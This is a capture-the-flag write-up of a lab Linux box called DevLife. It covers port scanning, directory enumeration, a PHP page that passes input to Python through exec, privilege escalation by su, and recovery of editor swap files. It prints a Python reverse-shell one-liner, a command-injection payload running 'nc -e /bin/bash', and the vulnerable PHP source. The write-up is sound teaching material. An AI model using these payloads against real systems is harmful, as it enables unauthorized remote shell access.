Another Wizard Lab’s host retired, DevLife. This was another really easy box, that required some simple web enumeration to find a python panel that would run python commands, and display the output. From there, I could get a shell and the first flag. Then, more enumeration to find a python script in a hidden directory that contained the root password. With that, I can escalate to root. There was also a swp file in the hidden directory that I’ll attempt to recover (and then figure out is actually nano), and I’ll look at how the php page runs python commands, and show an injection in that.

Box Details

Name: wl-DevLife
OS: Linux
Difficulty: 2/10
Creator: h4d3s



nmap shows two port, ssh (22) and http (80):

root@kali# nmap -sT -p- --min-rate 10000 -oA scans/alltcp
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 13:43 EDT
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.13s latency).
Not shown: 58360 filtered ports, 7173 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 102.08 seconds
root@kali# nmap -sC -sV -p 22,80 -oA scans/nmap-scripts
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 13:47 EDT
Nmap scan report for
Host is up (0.13s latency).

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
|   2048 b1:e0:36:a1:37:4b:31:1f:6d:ae:ce:18:d8:a3:0b:25 (RSA)
|   256 6f:43:58:05:b6:1e:13:08:d3:de:9c:99:1d:a5:69:ca (ECDSA)
|_  256 90:29:dc:74:0f:75:7d:ca:17:57:8e:c0:44:64:fb:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds

Website - TCP 80


Site is a front page for a soon to come Django tutorial, with reference to a online python interpreter:



Running gobuster to look for additional paths finds two:

root@kali# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2019/04/03 13:48:38 Starting gobuster
/manual (Status: 301)
/dev (Status: 301)
2019/04/03 13:52:43 Finished


/manual takes me to a listing of languages, which is a redirect to the English version:



All the pages are different language Apache Docs.


/dev is more interesting:


On hitting “Submit Query”, I’m taken to Interesting that the guy writing a tutorial on Django is hosting this in php. ¯\_(ツ)_/¯

If I submit with a command like print 'A'*5, I get:


So I have execution. I’ll also notice that print "A"*5 doesn’t work. I can guess that it has to do with how the php script is running the python, and " might be already in use. I can confirm that by running print \"A\"*5, and getting results. I’ll look at the code in Beyond Root.

Shell As www-data

I can use the command execution in the webpage to get a shell. I’ll get a reverse shell, update my IP and port, and then either change all the " to ' or to \" (both work). I’ll submit:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);

And get a shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

From there, I can grab user.txt:

www-data@Devlife:/home/tedd$ cat user.txt 

Privesc: www-data –> root

In /home/tedd there’s not only user.txt, but an atypical hidden directory, .env:

www-data@Devlife:/home/tedd$ ls -la
total 32
dr-xr-xr-x 4 tedd tedd 4096 Dec 23 11:36 .
drwxr-xr-x 3 root root 4096 Aug  6 06:40 ..
-r-xr-xr-x 1 tedd tedd    0 Sep 17 16:49 .bash_history
-r-xr-xr-x 1 tedd tedd  220 Aug  6 06:40 .bash_logout
-r-xr-xr-x 1 tedd tedd 3526 Aug  6 06:40 .bashrc
dr-xr-xr-x 2 root root 4096 Dec 23 11:42 .env
dr-xr-xr-x 2 tedd tedd 4096 Aug 17 15:14 .nano
-r-xr-xr-x 1 tedd tedd  675 Aug  6 06:40 .profile
-r-xr-xr-x 1 root root   41 Sep 17 16:48 user.txt

Inside the dir, there’s a python script (and a swap file, that I’ll try to recover in Beyond Root):

www-data@Devlife:/home/tedd/.env$ ls -la
total 16
dr-xr-xr-x 2 root root 4096 Dec 23 16:11 .
dr-xr-xr-x 4 tedd tedd 4096 Dec 23 11:36 ..
-r-xr-xr-x 1 root root 1024 Dec 23 11:27 .sudo.py.swp
-r-xr-xr-x 1 root root  150 Dec 23 11:43 su.py

Looking at the file, it seems to have the root password:

www-data@Devlife:/home/tedd/.env$ cat su.py 

import pexpect
child = pexpect.spawn('su root')
child.expect ('Password:')

Unfortunately, it doesn’t run, as the pexpect module isn’t installed for python or python3:

www-data@Devlife:/home/tedd/.env$ python ./su.py 
Traceback (most recent call last):
  File "./su.py", line 2, in <module>
    import pexpect
ImportError: No module named pexpect
www-data@Devlife:/home/tedd/.env$ python3 ./su.py 
Traceback (most recent call last):
  File "./su.py", line 2, in <module>
    import pexpect
ImportError: No module named 'pexpect'

Still, I can just su myself and get a root shell:

www-data@Devlife:/home/tedd/.env$ su 
root@Devlife:/home/tedd/.env# id
uid=0(root) gid=0(root) groups=0(root)

And from there, root.txt:

root@Devlife:~# cat root.txt 

Beyond Root



In the directory next to su.py is a file called .sudo.py.swp. This looks like a vi or vim recovery file. These files are written periodically as a user workings in vi in case the program crashed. If there is a graceful exit, the swap file is deleted.

I can show by example. I’ll open /dev/shm/0xdf, and then use Ctrl-z to background vi and then kill the process. That will leave a swap file behind. I can then open it with vi -r 0xdf.txt and get the file back.

I recorded a gif to demonstrate how it works. In the bottom window I have watch -d 'ls -la /dev/shm/' running to see what’s happening on the file system in the local directory as I work:

Unfortunately, when I try to recover sudo.py, I get this message:


It looks like the swap file never flushed, so there’s nothing to recover.


Update [4/4/19]: The box author contacted me to say that he never uses vi/vim, but rather nano. That’s an entirely new thing to look that (that I was previously unaware of).

If I try to open nano as www-data, it gives me an error because it can’t write a .nano directory in my homedir, /var/www:

www-data@Devlife:/home/tedd/.env$ nano
Unable to create directory /var/www/.nano: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

Error opening terminal: unknown.

But if I escalate to root, when I try to open sudo.py, a file that doesn’t exist, I get a different message. First, it might complain about not knowing my terminal. I can solve that by exporting TERM:

root@Devlife:/home/tedd/.env# nano sudo.py
Error opening terminal: unknown.
root@Devlife:/home/tedd/.env# export TERM=screen

Now I can open that file, nano sudo.py. nano opens, but at the bottom is a message:


If I hit yes, this file is updated with my pid, and then deleted on a clean exit.

From stack overflow:

If the option “vim-style lock-files” is enables (set locking in nanorc), which is the case by default, nano creates a special so called “lock file” while you edit a file to indicate that the file is currently edited.

Normally this file is removed when nano is closed, but that doesn’t happen if you kill it by closing the terminal.

I’ll demonstrate on target with two terminals. The lower one is running watch -d 'ls -la. In the top one, I’ll nano 0xdf, and the swp file is created. Then I’ll exit, and it goes away. Then I’ll open it again, and this time, I’ll kill the terminal window, stranding the process. I’ll see the swp file remains, and it’s the same size as .sudo.py.swp. Then I’ll exit the watch and try to open 0xdf, and see it’s already in use.


I had guessed earlier that the php was using " and that’s why I couldn’t do print "A". Once I got a shell, I decided to take a look at interpreter.php:

<h1> Online Python 2.7 Interpreter </h1>                          
<form action="interpreter.php" method="post">
Python Instruction <input type="text" name="com"><br>                     
<input type="submit">                                                      

$command = '/usr/bin/python -c "%s" ' ;   
$test =  $_POST["com"] ;                                                    
$out = sprintf($command, $test) ;                             

$hadi = exec($out);
echo $hadi ;                                       

So it is using my input to build a string, and then executing it with system.

So some examples of input:

Input Result Comment
print 'a' /usr/bin/python -c "print 'a'" Works
print "a" /usr/bin/python -c "print "a"" Doesn’t work. "s break.
print \"a\" /usr/bin/python -c "print \"a\"" Works

That’s neat, but there’s also an injection opportunity here. I’ll enter:

print 'A'"; nc -e /bin/bash 443; python -c "print 'B'

The script will create the string:

/usr/bin/python -c "print 'A'"; nc -e /bin/bash 443; python -c "print 'B'"

That is just three commands:

/usr/bin/python -c "print 'A'";
nc -e /bin/bash 443;
python -c "print 'B'"

In fact, it does return a shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
uid=33(www-data) gid=33(www-data) groups=33(www-data)